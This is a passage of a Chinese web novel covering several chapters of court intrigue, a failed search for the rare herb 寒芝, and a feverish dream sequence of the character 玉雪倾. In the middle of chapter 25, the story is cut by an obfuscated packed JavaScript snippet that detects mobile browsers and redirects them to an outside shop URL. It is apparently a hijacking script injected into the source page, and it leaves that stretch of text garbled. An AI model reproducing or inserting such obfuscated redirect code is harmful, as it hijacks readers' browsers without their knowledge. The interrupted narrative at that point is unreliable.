三人跟着女人来到一间土房,偶然瞥见女子屋外也停着口棺材,燕儿当即拉住女人又塞了些银两,面露歉意道:“我们不知夫人家出了这样的事,还来此叨扰,实在抱歉。这些银两夫人定要收下,权当是给孩子的。” 女人接过银两,鼻尖一酸,顿时软下心来,给三人各打了一碗热水后悄悄摸了把泪道:“没事,都过去了,况且并非我一家如此,这是人祸啊!” 燕儿握住女人双手,关切道:“怎是人祸,这寒冬腊月,应怪天灾啊?” “你有所不知,前一日我们这儿来了伙人拿了不少钱,说要找一群能上高的爷们儿采什么灵芝草药,我家那口子平日里天不怕地不怕的,也跟着去了。哪成想,二十几口人一去不返,竟都摔死在训检崖下!我们去找那伙人也找不到,报官也没人敢管!只得咽下这哑巴亏!” 闻武:“官府因何不管?” 女人擦了擦泪水,被突然出声的闻武吓了一跳,她此前一直以为那是个极美的女子。 “官府起先来查了,后面打听出那伙人是京城来的就不管了,叫我们去京城告。可我们,哪有钱啊!”女人说着,眼泪又落下来。 三人喝完热水便向女人告辞,临行前闻武悄悄叫那个小女孩儿来,给她塞了几张银票去。 燕儿道:“看来有人比我们先来一步。” 罗凛:“现在怎么办,不去训检崖了吗?” “要去的,”燕儿有些顾虑的看了眼闻武,“姑爷,我们待会儿要绕山路上训检崖,山泉村看样子是走不了了,你……” “无妨,方才喝了热水,走的动。更何况,”他不怀好意的瞥了眼罗凛道,“大不了可以叫罗护卫背我上山,毕竟唯我一人见过寒芝模样,既然这么为郡主考虑,想必也不会拒绝吧。” 罗凛瞪了他一眼,点了点头,沉声道:“……只好这样了。” 见没迎来意料之中的愤怒,闻武一时有些新奇,掀开伞角仔细打量了他一番,不知该夸他忠心还是蠢。 训检崖冷风呼啸,罗凛背着闻武逆风行走竟还如履平地,燕儿紧随其后,有罗凛遮挡,总归好走些。 三人抵达崖上,闻武刚从罗凛背上下来,脚步虚浮。他似瞧见什么,突然朝崖壁边走去,燕儿见状急忙喊道:“姑爷你去哪儿!” 闻武小半个身子都探出崖边,惊险非常。燕儿急忙赶过去拉住他,片刻后闻武掌心出现一株青草,惊喜道:“错不了!这是碧珠草,寒芝就长在这附近!” 罗凛当即飞身下去,一把短刀插在崖壁,一步步向下寻去。 “罗凛你小心啊!” 燕儿又被吓一跳,这心真是操不完。她站在崖边拉着绳子,聚精会神的盯着罗凛,生怕出事。 积雪覆盖整个训检崖,闻武动了动鼻子,感到一些异常,约么走了十几步,在一棵树上发现支铁箭。 “燕儿姑娘快来看,你可认得这东西?” 罗凛从崖下爬上来失落的摇了摇头,一无所获,二人闻声来到闻武身旁。 燕儿道:“铁箭?普通猎户可用不起这东西,想必是那伙京城人留下的吧?” 罗凛一把将箭拔下,仔细打量后道:“我方才在崖下看到一把破弓,该不会和这它是一个人的吧?” “等等,”燕儿拿过那支箭在箭尾处摸索着,一瞬间似触电般,当即转身离去道,“快回相府!” 23. 血雨腥风 三 千里撼刚出马车便被这幅阵仗吓到,春寒料峭,正是万物萌芽之际,却不知白笑孔从哪儿弄来这满城牡丹。 据传,已故陈氏唯爱牡丹,白笑孔此举无异于当着满朝文武打白帝媐的脸。 如此,储君之位花落谁家尚未可知。 千里撼低头往前走,没几步就碰上了白帝媐,她依旧那副不羁模样,难得穿上袞冕,霸气非常。 真是说曹操,曹操就到。 这套装扮千里撼曾在幼时见她穿过一回,那时的白帝媐已然气度不凡,可私下里她还是会同千里撼说不喜欢这样的装扮,因为太过拘束张扬。 遥想当年,白帝媐生父尚在,她还会吐露些许真心,哪似如今,面笑心狠,全无真情。 “琼林到啦!”白帝媐过来迎接道。 千里撼行礼道:“臣见过公主。” “起来吧。” “如何,”白帝媐伸手示意道,“母皇圣诞,这些都是我命人特地准备的。” “公主准备的?” “是啊,满城牡丹,废了我好大的功夫。”白帝媐说着,面上浮现出淡淡笑意,让人猜不透。 “公主孝心,天地可鉴。” “哈哈,你还是这么会说话,走吧!”白帝媐拍了拍千里撼肩膀,带她走进大殿。 殿内站了许多人,千里撼扫了一圈儿,发觉三家俱在,就连平日难凑的武官也都齐了。 这场面,未满过大了些吧? 遥想当年,先帝御驾亲征,大胜归来也不过如此,三皇子自请戍守豫州,多年来虽有战功却也不过如此,更何况陈氏一死他便离去,无非是见大树倒塌无奈远走罢了。 “哎呦!金安郡主,老将军近来身子可好啊?” 千里撼猛地回神,望向前来搭话的老头子得体道:“多谢闻老关心,有十三郎在,姥姥已较从前大好。” “哈哈哈!那便好,十三郎自小不爱与人亲近,如今能帮上郡主也算有些用处。” “闻老不问问十三郎过得好不好吗?” “郡主说笑了,偌大的相府怎可能养不了一小小十三郎,何须老朽忧心。” “如此也对。” 闻家就像一座冰冷的牢笼,困住闻武,困住所有人。在大魏女子掌天下的背景之中,四家里唯有陈氏与闻家由男子做主,遵循着腐朽的规则,死命的生孩子,如同养蛊。 闻武在他眼中作为不必要的残次品早已被放弃,如今却一朝“飞升”入住相府,甚至到了大年夜里闻府都没派一人前来问候闻武,只当他是个物件,光宗耀祖,最后还要关起门来感叹一番自己教子有方,而闻武“命好”。 千里撼轻笑一下,看着闻老枯木般的面容,突然冒出些想法来。 闻老朝远处招呼几声,“快,快来爹这儿!” “郡主,”闻老拉过一旁的女子向千里撼殷勤介绍道,“这是老朽的大女儿,闻之元,现任正聿寺卿。” 闻之元身量高挑,不怒自威,气质刚正,不愧其职。她同闻老错开几步,躬身行礼道:“见过郡主。” “早便听闻老说家有四宝,‘元亨利贞’,而今一看果然各个不凡,想来我只差你二妹未见过了。” 闻之元:“郡主谬赞,二妹两年前才任乾州府尹,甚少回京,故不能与郡主相见,遗憾非常。” 千里撼:“升迁总是好事,不必遗憾,人生百年,见面的机会多着呢。” “郡主所言极是,”闻之元顿了顿道,“只是二妹虽远赴乾州,但始终挂心家中老幼,尤其十三郎。” “啧,”闻老侧目皱眉,似是警告,“郡主家事哪里轮得到你管了。” 闻之元目不斜视,旁若无人道:“不知十三郎在相府过的可好?” 千里撼闻言,将闻之元重新审视一番,眼里多了些欣赏,她捂住闻之元久久持礼的手拍了拍道:“大姐放心,仙狂过得很好,我不会叫他受委屈。” 闻之元猛地抬头,铜墙铁壁裂开道缝隙,露出一丝温情。她眨了眨眼,看向千里撼坚定的目光像是真的放心,回之一笑道:“微臣深谢郡主。” “快快请起。” 千里撼扶起闻之元,两人眼神交换,对彼此都多了些别样的感觉。纵然身处魔窟也不误真情,千里撼本以为闻家人皆似冷玉,而今相见闻之元她便明白,是自己狭隘了。 闻老受了冷落,便去了个有人捧着他的地方,不理远处两人。 “十三郎自小变因外貌颇受排挤,刚出生时更是险些被家父摔死,是母亲带我们一众孩儿跪求父亲三日才得以保下。我本以为这是善举,哪成想后来的日子才更是艰辛。” 闻之元同千里撼细数闻武过往,眼中尽是自责与不忍,“十三郎自小便被忽视,全靠母亲照拂,可闻家孩童众多,总会疏忽。我们姐妹四人有心照料,但总归没法守着他,因此他常常窝在我们看不见的角落独自舔舐伤口,无论受了多少委屈都悉数咽进肚子里,不叫我们知道。” 她说着,深深叹了口气,目若古井,“我十七中举便离开家中,母亲积劳成疾,次年便去世了。后来二妹离家,两年后三妹四妹齐齐中举,自此之后十三郎在闻家再无庇佑,那年他不过十一。等我再度归家之时发现他已性情大变,眼中隐隐有了死意,直到一年后的冬天他出去了一趟,自那之后便好了许多,再不提生死之事,隐忍的活了下去。” 千里撼隔着衣裳摸了摸那枚香片,像是种安慰,她明白闻武平淡的外表下包裹的苦涩,然而当这一切从闻之元口中说出时还是这么残忍。 “仙狂如果知道闻家还有人关心他,一定会很开心。”千里撼看向闻之元,轻轻拍了拍她地肩膀。 “知道与否都不知重要,他好就行。作为长姐没能保护好他,是我失职,哪还有脸说这些,像邀功似的,”闻之元望向殿外,玉阶彤庭,究竟是什么样的权力竟能叫全城牡丹一夜盛开,“只怪我人微言轻,生为闻家女子,哪怕入得了大魏史册也入不了闻家宗祠。” 千里撼微微皱眉,看向闻之元,她的眼神中貌似藏着些不一样的东西。 “你说你身为正聿寺卿却没被闻家记在族谱?” 闻之元猛地回神,连忙解释道:“郡主不必在意,都是些陈规旧矩罢了。” 千里撼摆了摆手像在思索什么,片刻后,猛的攥住她的手腕将其拉近,低声道:“那你想不想,有朝一日,换你来写族谱。” “什么?” 这句话像一场荒诞的梦,千里撼的声音像有魔力,在她耳边驱之不去,还没等她反应过来千里撼便已离开,闻之元怔愣许久才掌心不知何时出现一枚扳指。 白帝媐:“琼林方才去哪了,三弟已经进城,过会儿就到了。” 千里撼整了整衣裳,站在白帝媐身旁等候,“遇到熟人闲聊会儿,公主今日怎得这样着急?” 白帝媐:“并非我急,而是母皇急,想必三弟也是要急的,毕竟几百个人等着给他磕头呢。” “这也难免。去年西方土蛮进犯婵启关,三皇子不仅带兵击退土蛮头子,还接连夺了他们纹、啀、丽三座城池,获封镇西大将军,可谓是战功赫赫啊。” “大魏地势不佳,故易腹背受敌,土蛮久攻不死劳民伤财,无奈才换退守之策。若知三弟如此勇猛就该派他早去攻蛮,也好过如今被埋没了,只做大将军而已。” 白帝媐面上依旧在笑,眼中却没丝毫温度,今日之事 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白笑孔携众人在正殿广场等候,白帝媐打头站在前面,千里撼淹没于人群。 远远望去,她只觉得为首那两人不愧为母女,身形姿态皆似一个模子刻出来的。只是白笑孔今日与以往不同,不同于往日的威严,真的像个思念孩子许久的母亲。 可笑,白帝媐微微侧目不动声色的看向白笑孔,躲在冕旒后头的那双眼睛竟破天荒的泛着点点泪光,带着祈盼望向远处。 当年老七老九勾结官员意图谋反,白笑孔一日杀两子都不曾有过半分迟疑,她竟不知自己英明神武的母皇何时成了“慈母”,简直荒唐至极。 “镇西大将军到!!” 众人齐齐望向忠正门,只见一人高坐战马之上,身披紫金鳞甲,头戴赤金高冠束发,携五尺虎头横刀,缓缓入内。 在其身后,四列黑甲军列队跟随,征尘未洗,杀气腾腾。然而这样一支队伍,却被白圣孺一人死死压住,泰然自若,运筹帷幄。 白笑孔一见白圣孺这般模样,怜子之心顿起,跌跌撞撞向前走了几步要去迎一迎他,却被白帝媐死死拽住,“母皇,这不合规矩。” 白圣孺将佩刀交予宫人,下马步行,大步流星走向丹陛。他身形不小,一看便是久经沙场之人。 白笑孔按耐不住又往前蹭了几步,白圣孺见此,三步并作两步飞快走到其跟前,“噗通”一声,三跪三叩,梨花带雨,“不孝儿臣白圣孺,匆匆归来,未经梳洗,实乃羞愧!恳请母皇饶恕儿臣思亲之情,恭祝母皇陛下圣寿无疆!” “舟车劳顿,必定辛苦,快来让朕好好瞧瞧你。”白笑孔抚上白圣孺温热面颊,带着阵阵寒意,向下便是满身鳞甲,上头还有斑驳血迹。 千里撼至于人群中方才看清白圣孺模样,他与陈氏足有七分相似。 当年宫宴,千里撼曾见过陈氏一面,彼时,他身披青烟长绸于荷花中央跳《洛水之畔》,目含春水,眉间藏情,佩珠帘,衔牡丹,流云翻飞,美轮美奂。 今日得见白圣孺,她总算是明白白笑孔因何对其念念不忘。一见思故人,再见惋孤身,左右这世上再没第二个陈氏了。 白帝媐道:“三弟大胜归来,还逢母皇圣诞,此次定要大办一番。” 白笑孔:“你姐姐对你甚是思念,此次圣诞是她一手操办,你可要记得她这份心啊。” “臣弟多谢皇姐。”白圣孺点点头躬身道。 白帝媐一把将其扶住,拍了拍他身上鳞甲道:“姐弟之间何须如此,外头风冷,母皇不宜停留太久,我们进殿吧。” “好。” 24. 血雨腥风 四 “郡主回来啦!” “嗯。” 燕儿为千里撼更衣休整,正酝酿着如何同她讲,下一刻,千里撼直言道:“闻武和罗凛吵架了吧。” “正是,郡主料事如神啊。” “别恭维我了,你既然能心平气和同我说这些,就证明已将此事摆平,”千里撼换上常服窝在榻上,拿起一支箭道,“还是说说这支箭的事吧。” 燕儿:“郡主可看出这是什么箭?” “铁头柳叶箭,箭头打磨光滑,尾羽是天鹅翎,想必是哪家贵族用来打猎玩儿的。” “郡主再细看箭根。” 千里撼半信半疑的摸了上去,指腹沿着凹痕磨出两个字来,“铎远”,这是千里逢的字。 她道:“这是隔壁的箭?” 燕儿坐在千里撼对面低声道:“我要同郡主说的就是此事。我们一行人到训检崖时寒芝已被采走,不仅如此,那人还将知晓此事的村民赶尽杀绝,这支箭就是我在崖边发现的。” “初春时节,若说打猎途径训检崖倒也合理,”千里撼摩挲着那支铁箭,眼眸低垂,看来还是被千里逢抢先了,她叹了口气道,“想必他就是想到这一层才敢有恃无恐,留箭在崖边。” “那要怎么办?家主还需灵芝调理身体,不然我们再去其它地方找找呢?” “不必找了,”千里撼摆了摆手道,“大魏境内仅此一处产寒芝,再要就只能去北疆腹地了。” “竟然这样,”燕儿低头思索半晌,猛的抓住千里撼道,“不然我们去偷吧!” 千里撼怔愣片刻,低声笑了起来,道:“咱俩还真是想到一处去了。” “郡主!”佩儿突然冒出来道。 “怎么了?” 两人毫不意外,早已习惯佩儿神出鬼没了。 佩儿:“那个叫流云的奸细要如何处置?” 千里撼端起茶碗撇了撇茶叶,喝了口,“他还没死吗?” “尚有一口气在。” “真能活啊,”千里撼感叹一番,拄着脑袋想了想,突然冒出个鬼点子道,“正好,没准儿能用上呢。” 国公府内,青松负雪,玉雪倾罕见的生了场大病,高烧不退,常玄为其请了十几个医师也用,急得团团转。 国公府内如今只剩玉雪倾一个顶梁柱,自三年前玉雪倾父亲撒手人寰后她便彻底成了孤家寡人,若非前头还有个姨母顶着,玉家的下人都要跑空了。 玉雪倾在军中尚有威名,但因白笑孔忌惮难得重用,如今不过官至都尉还是闲职,按理来讲玉如意仙逝后便该由玉雪倾承袭国公之位,奈何那时她年纪尚小,只得由姨母代为接手。 满朝文武皆知这位姨母是位不好打理的主儿,白笑孔也乐的看她玉家分裂,如此才放下戒心,将扼住玉家的那只手松开。 “雪倾!雪倾你怎么样!还听不听得见姨母说话,啊?”玉襄一下下抚着玉雪倾火烧似的面庞,豆大的泪珠砸在她耳侧,像断线的珍珠。 “娘、娘……” 玉雪倾烧的浑浑噩噩,听耳边有人呼唤以为是玉如意,下意识叫着娘。 见此,玉襄胸中一阵刺痛,悄悄抹了把泪,放轻声调哄着道:“折儿,娘在这儿呢。娘就在你身边,你睁开眼看看娘好不好啊?” “娘,我不、不嫁人,不离开家……” “好,折儿说什么娘都答应你。不嫁人就不嫁人,你想在家待多久就待多久,好不好?” 玉雪倾紧皱的眉头渐渐舒展,像是放下了心,沉沉睡去。 玉襄见玉雪倾不出声顿时慌了神,忙叫道:“折儿?雪倾!你醒醒啊!” 常玄见此匆忙搭上玉雪倾手腕,见其脉象平稳道:“大人不必惊慌,都尉没事,只是睡了过去。” “话虽如此,可她高烧不退,又这么一直昏睡下去,早晚要出事的啊。” 玉襄双眉紧皱,陷入沉思,整个大魏暗处的大夫被她请了个遍,再请就只能叫御医了。可如今陛下圣诞刚过,无数双眼睛盯着朝廷动向,此时贸然出头必会引发事端。届时雪倾病倒,玉家仅她一人,怕是照顾不过来啊。 外头又下起雪来,没完没了。玉襄陷入两难之中,无意识的抠着指甲,血肉模糊亦无知觉。 她想起小时候和玉如意跑到山里去玩儿,那时刚打春,湖水冷的扎手,可她就要下水玩儿。 玉如意拗不过她只得背着她下水,叫她用脚尖拍水玩儿,自己则结结实实将两条腿都没入水中。 第二天玉如意果不其然发烧了,母亲急得团团转,找了好几个大夫来看。她坐在床边因自责哭的不成样子,玉如意听见后却拖着病体来哄她,还在关心她是否因此受罚。 玉襄如梦初醒,发觉指尖被人轻轻攥住,用纱布包裹。 常玄半跪在地,自顾自为玉襄包扎,道:“奴才自作主张,望大人宽恕,身体要紧。” 指尖疼痛渐消,她抚摸着玉雪倾因发热泛起红晕的脸,和记忆中玉如意几乎重合。玉襄这一身跋扈的性格就是玉如意硬生生惯出来的,从前她仗着自己有个举世无双的姐姐便四处打抱不平,飞扬跋扈,在大魏横行霸道,以至于传出“玉襄乃玉家之耻”的说法。 可无论她做了什么,玉如意都会替她摆平,当外头有流言蜚语说玉家姐妹不和时玉如意也会反过来安慰她。 玉如意总说她其实本性善良,只是有些顽皮,不喜欢拐弯抹角。 她就这么当了十几年的“混世魔王”,直到陈氏开始坍塌。 玉襄抹了把脸,感叹一把年纪竟还这么多泪,她垂头看向那个为她包扎的“奴才”,想起了从前两位姐姐带她一起玩儿的时光,叹气道:“你叫常玄是吧。” “是。” “以后见我不必自称奴才,称‘我’就好。” 常玄手上动作一顿,缓缓抬头看向玉襄后又猛的低头,匆匆包扎完便要退出屋内。 玉襄抱着那只被包好的手无奈笑了下,默默道:“你的眼睛长的和你娘一模一样,叫我怎么才能认不出来。” 常玄脚步一顿,鼻尖阵阵酸涩,面具后两道眉毛拧在起,终究没出声,大步跨了出去。 少年时,嬛姐与玉如意关系最好,两人游玩时常带着她,三人从小玩到大,不似一家人胜似一家人。 湖光粼粼,荷花菡萏,暖风从指尖划过,撩拨几缕发丝,玉如意与楚嬛靠在船头唱歌,玉襄则在船尾拿小石子打□□。 那时她不过十几岁,是爱玩儿的年纪,山河正好,一切都那么安稳幸福,不似如今。玉襄默默起身,整了整衣冠,眼神空洞地唤来下人预备更衣。 她收拾好一切,准备去宫中请御医,刚一出门却被常玄拦住。 一驾马车不知何时从国公府侧门悄然入内,当当正正停在玉襄面前,上头下来三个披着斗篷的人,为首那人迈着四方步来到她面前,摘下帽子拱手问候道:“国公大人别来无恙啊。” “金安郡主?” 千里撼忽然到访着实让人摸不着头脑,她瞥了眼常玄发觉其神色如常,心中了然,不再过问。 常玄对玉襄道:“稍后我自会同您解释,现在最要紧的是医治都尉,”说罢为千里憾带路,“郡主请随我来。” 三人一入内便齐齐摘了斗篷,闻武跟在千里撼身后,一头银丝滑落,猛的晃了玉襄一眼,先是震惊后是恐惧。 千里撼:“佩儿去守门。” “是。” 闻武自觉的掏出脉枕,垫在玉雪倾手腕下为其搭脉看诊。 玉襄道:“这位是?” 千里撼解释道:“这位是医仙闻家的第十三子,闻仙狂,精通医术,大人不必担心。” “那便好。” 见千里撼秘密来此,又对常玄与玉雪倾颇为熟悉,玉襄心中猜出几分,便将所有疑虑咽回肚子,全心扑在玉雪卿的病上。 闻武问道:“都尉是什么时候开始昏迷的?” 常玄:“初三夜里开始。她说自己手脚冰凉,还有些胸闷头痛。” “近几日可在睡梦中说胡话了吗?” 玉襄:“说,总是在说。说什么不嫁人,不退兵,还有什么十丈珠帘死。” 千里撼闻言微微皱眉,看向玉雪倾,张了张口终究没有出声。 闻武将玉雪倾手腕放进被子里,叹气道:“这是‘两感于寒’,医书中谈此疾为‘表里同病,阴阳俱伤’,最快只要七日便能使人暴毙。” 玉襄猛的瞪大眼睛:“什 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“啊,”千里撼如梦初醒,看向众人,顿了顿道:“寒芝十分稀有,只在春冬交接时生长,大魏境内唯有训检崖生长此物,还有就是北疆腹地。” “训检崖?我现在就去。”常玄说罢就要动身,却被佩儿拦住。 “训检崖已经没有灵芝了,昨天我们去找时发觉灵芝已经被人采走,询问村民们也无人知晓那人究竟是谁。”千里撼解释道。 玉襄:“那要怎么办?不行,我再去派人找找,一定还有寒芝。大不了我就去找那采芝人,问他买下来,左右不过就是钱!” 方才进入国公府千里撼就觉得不对,偌大的国公府,家丁数目比相府少了整整三分之一,且多聚集于前厅大门,典型的“要面子不要里子”,想必国公府财政状况不容乐观。 千里撼看向玉襄,这是个极其要强的女人,分明将“精明能干”四个字写在脸上,可眼尾嘴角的疲态却出卖了她。玉襄掌家,在这种时候还能说出这样的话,其性质不言而喻。 坊间多有传闻玉雪倾备受姨母欺凌压制,甚至被夺国公爵位,如今看来传言不实。 千里撼对其放下戒心,解释道:“训检崖的灵芝一年只长一株,况且此物难得,有价无市,哪怕珍马行也不一定有。” “这……” 常玄沉默许久,问道:“郡主可知寒芝所处北疆何处。” “你想去北疆?”闻武皱眉道。 常玄:“只有这一个办法了。” 千里撼连忙劝阻道:“常玄,这不是说笑。北疆民风狂野,可生啖人肉,你身为魏人,一旦被抓必定死无全尸,能被一刀杀了都是幸运,就怕是被劈开活祭!” “不要说了,”常玄默默看了眼玉雪倾道,“一切后果由我自己承担。” 玉襄见此,抓住常玄阻止道:“我们再想想办法,孩子,你这是去送死啊。” 常玄掀开鬼面一角,在玉襄面前露出真容,苦笑道:“……姨母,这是最后的办法了。” 说罢便要突破佩儿阻挠,冲出门外。 佩儿:“你不能走,郡主没让你走。” 常玄:“佩儿姑娘,请不要拦我。” 千里撼咬了咬牙,高声道:“佩儿放他走!” “是。” 千里撼猛地转身,指着常玄鼻子骂道:“常玄,你的命在国公府里很值钱,但在我眼里一文不值!你以为就你不怕死,愿意去北疆?我问你,你可想过这一来一回要多久?就算你侥幸回来了,雪倾也早就死了!你死了事小,那么谁又来把寒芝给我送回国公府?” 她猛的逼近常玄,双目像着了火,掐住他的脖颈低声道:“而且我告诉你常玄,你是玉雪倾花重金买回来的。这辈子,没有她的允许你哪儿都不能去,就得给我陪在她身边,死也不行!” 常玄一愣,咬紧牙关,袖内双拳紧握,面对千里撼一个字都说不出。 千里撼见他无言以对,猛的将其甩开,冷冷道:“寒芝我来想办法,不过在此之前你不能离开国公府半步。我们走。” 25. 血雨腥风 五 “冷,好冷……” 玉雪倾迷迷糊糊的喊着,将被子紧紧裹在身上,分明屋内窗子都关的好好的,为什么还是有凉风乱窜? 一片漆黑,鼻尖像刚解冻,她睁开眼,鼻腔内不断有清水流出。 坤定宫的房梁像本张开的书,一撇一捺,缓缓下压,挤压着整间屋子,连呼吸都显得格外奢侈。 下腹猛地一阵刺痛,玉雪倾再也躺不住,挣扎着起身从冰窟似的被窝逃出来。 “菱角,菱角?” 一个小姑娘小跑过来,恭敬道:“娘娘有何吩咐?” “好冷啊,宫里为何这么冷?” “回禀娘娘,奴婢不觉得冷。” “是只有我这一处冷,还是皇宫里都这么冷。皇上那里也这样吗。” “皇上今夜宿在楚美人那里,想必不会冷。娘娘若是觉得冷就多盖几床被子吧。” 玉雪倾拽了拽衣袖,将手悄悄缩进去,叹气道:“下去吧。” “是,奴婢告退。” 不一会儿,门外传来两道欢快的声音,“菱角,你就这么敷衍皇后娘娘不怕她怪罪吗?” “哈哈,娘娘才不会呢,她最大度了。好了,我们快去玩吧!” 大度吗? 玉雪倾无声地笑了一下,默默抚上肚子,阵阵刺痛传来,额头布满细密的汗珠。 她今年应该三十三岁了,回忆起来人生只有两部分,军队和千里逢。 这个世界在她二十八岁时天翻地覆,而她的人生早在二十岁那年已成定局。 那年,她奉旨嫁给了千里逢,这场婚事中所有人都很开心,千里家、玉家、白家。分明她也该一同高兴,可她的心却不知为何总有悬空之感,像被提了起来,又攥住脖子。 起初,一切如常,她总是在两家中往返,偶尔去一去军营。直到有一次,玉家的下人不再叫她大小姐,而是叫她千里夫人。 就这样,玉雪倾失去了自己的名字,同时失去了玉家。 她成了“外姓女”,宗亲长老们在考虑下任家主时主动将她排除在外。 紧接着,玉家倒了。 千里逢常说她幸运,跳出了玉家这个火坑,可她每次听这话都想笑,像被人绑在椅子上挠痒痒。 后来,轮到了千里家。千里逢彼时已成家主,他并未坐以待毙而是奋起反抗。 玉雪倾第一次这样支持过千里逢,她像是有一肚子的怨气要发泄,四处带兵征战,帮千里逢攻下一又一座城池,在军中立下威信,再次有了自己的名字——玉将军。 可白笑孔并不容易对付,她设计困住千里逢以此逼迫玉雪倾退兵。 又是一个无理的要求,白笑孔最擅长做这样的交易。 玉雪倾看着摇摇欲坠的皇城,安慰自己,千里逢的牺牲是值得的,于是要举旗攻打,可一滩血迹阻挠了她。 她怀孕了,在最不合适的时候。 可她并不害怕,反而有些喜悦,现在是白菊开放的季节,它还有个好听的名字,叫“十丈珠帘”。 玉雪倾满怀期待的抚摸着小腹,沉甸甸的,幻想里头是否也有朵“十丈珠帘”。 千里家的宗亲踩着时间赶了过来,他们逼迫玉雪倾退兵,欺负她身后空无一人,得知她怀孕了更是百般阻挠她带兵打仗,貌似善良,实则那点心思昭然若揭。 大魏的天下她打了九成,剩下那一成却被人哄抢,好话歹话说尽了,生怕她将功劳占尽。 可就这一成,他们却久攻不下,无奈之下只能重请玉雪倾挂帅出征。 白笑孔自然不是好对付的,她知道千里逢的倚靠是什么,设计给玉雪倾下了毒。 真是莫名其妙,因何不毒千里逢? 就这样,在一阵剧痛后,这个悄然而至的孩子走了,又留下一滩血水,还顺带卷走了玉雪倾的一身功夫,给她留下个半残废的身子,连风吹多了都会头痛。 玉雪倾盯着盆中的“十丈珠帘”,手边一瓢接着一瓢的水浇下去,她从此再没养活过白菊。 至此,军中没了玉雪倾的消息,她的名字再一次消失。 玉雪倾三个字彻底被千里夫人替代,直到她二十八岁那年,千里逢称帝。 他改变了整个世界,毕竟男人已经许久没有做过皇帝了。国内因此叛乱频起,他无奈只能出兵镇压,抓到就杀,一直杀到女人比男人少才停止。 都是陈年旧事了,一阵凉风将她唤醒。玉雪倾回了回神,扒住桌子撑起身体,一点点挪回榻上。 肚子还是火辣辣的疼,四肢百骸都像泡在冰水里,今夜注定无眠。 她盯着房梁,反复思索着一个问题——她究竟爱不爱千里逢。 他们夫妻十三载,如今才来想这个问题多少有些穷途末路地可笑,但玉雪倾就是好奇,因为这是她数年来唯一的乐趣。 她开始一遍遍地假设——这是爱。 但这未免有些可笑,爱像一根钉子嵌入她的后脑,坐立不安,两耳如同被长针贯穿,永无宁日,痛苦无时无刻不在继续,已经难过到一经治愈就会被遗忘的程度。 又或者,这感觉像被蒙住双眼推入悬崖,在下坠的一瞬间,胸中狂震,有声音轻贴在耳侧念道:“感受到了吗,这就是爱。” 玉雪倾重重闭上双目,感觉自己被钉入棺木中,待最后一锹尘土掩埋,她的身体顷刻爆发,尸水横流,污秽,恶臭,引来蚊蝇聚会。 千里逢此时应正躺在楚美人臂弯吧,无耻地享受着她的温暖与包容,像趋光的野兽。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292895|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉雪倾胡乱摸了摸自己,双足绞紧被子,放肆想象那个躺在楚美人怀里的其实是自己,幸福,安定。 坤定宫太大,太冷,她也好想躺在楚美人怀里,藏在温暖的被褥中。 好冷,真的好冷。她开始觊觎楚美人,她的宫殿,她的模样,一颦一笑,甚至开始嫉妒千里逢。 冷不丁,玉雪倾在枕头下摸到一封信。 烛光在黑暗中格外显眼,她终于舍得点一根蜡,在烛影后头,信纸上的字逐渐清晰。 这是她与陈长行的最后一封信,自此之后他便没了音信,说是去了北疆,可谁知道呢。 这封信活像块热炭,她怎么把它忘了! 玉雪倾扔掉蜡烛,虔诚的举着那封信,缓缓将其抵在额头,低声背诵起上头的文字。 一遍又一遍,声音回荡在屋内,如诵经文。 平稳的声音带着一丝颤抖,分明无人追赶,却急促起来。信纸越来越烫,像要点燃她,身体不再寒冷,有光照进屋内。 玉雪倾看到那封信,近在眼前,何其温暖。 像是鬼迷心窍,玉雪倾战栗的身躯此刻竟似深井,她猛的将信纸团成一团,塞入口中,吞了下去。 如果攥在手中都能不冷,那么咽进肚子里就永远都不会难过了。 多么伟大的异想天开! 果然,她感到安心,和衣睡下,一夜安好。 可睡梦中总有个声音打扰她,她说:“如果假设,这不是爱呢?” 玉雪倾猛地起身,不受控的干呕,久违的疼痛席卷全身,眸中水雾凝结成冰,道道红线爬满双目,千丝万缕,化作一个巨大地“恨”字。 这不是爱。 那么她的生命就不该以这幅模样燃烧,像泔水桶、像隔夜茶、像虱子卵、像千里逢的伪善。 全身的火涌到脑子,玉雪倾急促的呼吸着,像被扼住喉颈。 “娘,娘……” 干枯的喉咙撕裂出沙哑地声音,她的呼喊在虚空中回荡着,无人回应。 “好冷。真的,好冷……” “救命——” 一声凄厉的尖叫划破天际,常玄猛的冲过来握住玉雪卿胡乱抓握的手,感到被接住后,玉雪倾终于睁开双眼。 四天过去了,她总算有些好转,醒了过来。 常玄喜极而泣,面颊紧紧贴在玉雪倾掌心,轻声询问:“你终于醒了,是做噩梦了吗?” 玉雪倾眼神空洞地望着他,许久,像魂魄回归体内,释然地笑了,轻声道:“是啊,做梦了。好可怕。” 一滴泪珠从鬼面下流出,玉雪倾轻轻拨动指尖擦去那滴泪水,道:“你在害怕?” 常玄不语,良久,默默点了点头,在鬼面背后哭的不成样子。 26. 血雨腥风 六 闻武见玉雪倾醒来,再次搭脉查看,片刻后松口气道:“还好都尉体格健壮,远超常人。不过就算醒了也不可掉以轻心,要好好休息,等药引。” 玉雪倾全身无力,只得点点头以示感谢。 常玄道:“多谢闻公子,有劳了。” 闻武:“无妨。都尉是郡主好友,我做这些是应该地,不必多谢。” 玉雪倾攥了下常玄的手示意,常玄点点头,对闻武道:“闻公子不必多礼,你是郡主未过门的夫婿,不必称都尉,叫她雪倾就好。” “这,”闻武左瞧瞧玉雪倾右看看常玄,眯了眯眼想不通两人究竟是如何沟通的,不过还是应下来,“也好,我以后便叫你玉姑娘吧。” 玉雪倾满意的点点头,示意常玄好好安顿闻武。 常玄立马起身为闻武指明方向,彬彬有礼道:“公子已经许久未曾合眼了,我带公子去厢房歇息吧,请随我来。” 闻武无声地笑了下,见二人有来有回,颇有意思,点点头道:“好,有劳。” 千里撼刚从重明馆回来,她扯着脖子问了钱双双十几遍寒芝被千里逢藏在哪儿,可钱双双永远只有那个字,“呃呃……真不知道呀。” 